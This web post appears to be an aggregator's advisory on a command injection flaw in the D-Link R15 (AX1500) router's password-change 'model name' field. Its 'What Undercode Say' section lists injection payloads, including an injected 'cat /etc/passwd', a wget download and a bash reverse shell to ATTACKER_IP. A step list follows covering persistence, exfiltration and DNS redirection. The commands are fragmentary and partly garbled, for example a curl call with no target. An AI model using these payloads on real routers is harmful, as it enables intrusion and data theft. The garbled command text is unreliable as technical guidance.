D-Link R15 (AX1500), Command Injection, CVE-2025-60854 (Critical)

Listen to this Post

The vulnerability occurs in the D-Link R15 (AX1500) router’s web administration interface. During a password change request, the application processes the “model name” parameter without proper input validation. An attacker can craft a malicious HTTP POST request with shell commands embedded in the model name field. The httpd service, which handles web requests, fails to sanitize this input before passing it to system calls. This allows the injected commands to be executed with root privileges. The injection point is in the password change functionality accessible via the web interface. By manipulating the model name, arbitrary commands can be run on the device. The vulnerability affects firmware version 1.20.01 and below. Command injection happens due to direct concatenation of the model name into a shell command without escaping. This leads to remote code execution if the web interface is exposed. Attackers can exploit this without authentication by sending crafted requests. Commands like ‘cat /etc/passwd’ or ‘wget’ can be injected to steal data or download malware. The httpd service runs with elevated permissions, enabling full device compromise. This poses a significant risk as it allows complete control over the router. Vulnerable devices can be used to modify configurations or launch further attacks. The lack of input validation makes exploitation straightforward. This CVE highlights critical security flaws in embedded device firmware.
Platform: D-Link R15 (AX1500)
Version: 1.20.01 below
Vulnerability: Command Injection
Severity: Critical
Date: 12/02/2025

Prediction: Patch TBD

What Undercode Say:

curl -X POST

-d “model_name=;id;”

; cat /etc/passwd

; wget malicious_payload

nc -lvp 4444

bash -i >&

/dev/tcp/ATTACKER_IP/4444 0>&1

echo ‘exploit’ > /tmp/test

chmod +x /tmp/test

./tmp/test

ps aux | grep httpd

kill -9 PID

rm -f /tmp/backdoor

how Exploit:

Identify vulnerable router

Craft malicious model_name

Send HTTP POST request

Execute arbitrary commands

Gain root access

Install persistence mechanism

Exfiltrate data

Modify firewall rules

Redirect DNS settings

Capture network traffic

Protection from this CVE

Update firmware version

Disable web administration

Implement input validation

Use network segmentation

Apply security patches

Restrict access interfaces

Monitor logs regularly

Employ WAF protections

Change default credentials

Regular security audits

Impact:

Remote code execution

Full device compromise

Network infiltration

Data theft risk

Malware installation

Denial of service

Credential harvesting

Botnet recruitment

Configuration manipulation

Lateral movement potential

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top